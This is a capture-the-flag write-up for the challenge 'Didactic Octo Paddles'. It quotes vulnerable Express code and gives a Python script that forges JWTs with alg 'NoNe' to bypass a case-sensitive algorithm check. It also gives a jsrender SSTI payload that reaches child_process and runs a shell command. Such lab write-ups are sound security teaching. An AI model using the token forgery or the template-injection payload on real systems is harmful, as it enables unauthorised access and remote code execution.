Skip to content

Didactic Octo Paddles

Admin Access

Initial foothold was through JWT:

const AdminMiddleware = async (req, res, next) => {
    try {
        const sessionCookie = req.cookies.session;
        if (!sessionCookie) {
            return res.redirect("/login");
        }
        const decoded = jwt.decode(sessionCookie, { complete: true });

        if (decoded.header.alg == 'none') {
            return res.redirect("/login");
        } else if (decoded.header.alg == "HS256") {
            const user = jwt.verify(sessionCookie, tokenKey, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res.status(403).send("You are not an admin");
            }
        } else {
            const user = jwt.verify(sessionCookie, null, {
                algorithms: [decoded.header.alg],
            });
            if (
                !(await db.Users.findOne({
                    where: { id: user.id, username: "admin" },
                }))
            ) {
                return res
                    .status(403)
                    .send({ message: "You are not an admin" });
            }
        }
    } catch (err) {
        return res.redirect("/login");
    }
    next();
};

My Python code to modify a token:

import sys
import time
import json
import base64


def dict_from_part(part):
    return json.loads(base64.b64decode(part.encode()).decode())


def part_from_dict(part):
    return base64.b64encode(json.dumps(part).encode()).decode().rstrip("=")


enc_head, enc_body, sig = sys.argv[1].split(".")
head = dict_from_part(enc_head)
body = dict_from_part(enc_body)

head["alg"] = "NoNe"
body["id"] = 1
# Set the expiration to longer
new_exp = int(time.time()) + 60 * 60 * 24 * 5
body["exp"] = new_exp
new_head = part_from_dict(head)
new_body = part_from_dict(body)

print(f"{new_head}.{new_body}.")

RCE

I then used SSTI to get RCE and cat the flag. Here is the vulnerable code:

  router.get("/admin", AdminMiddleware, async (req, res) => {
    try {
      const users = await db.Users.findAll();
      const usernames = users.map((user) => user.username);

      res.render("admin", {
        users: jsrender.templates(`${usernames}`).render(),
      });
    } catch (error) {
      console.error(error);
      res.status(500).send("Something went wrong!");
    }
  });

Here is the payload I used:

{
  "username":"{{: \"test\".toString.constructor.call({},\"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt').toString()\")()}}",
  "password":"a"
}

I had to use the global.process.mainModule.constructor to load child_process and then used that to read the flag.

Back to top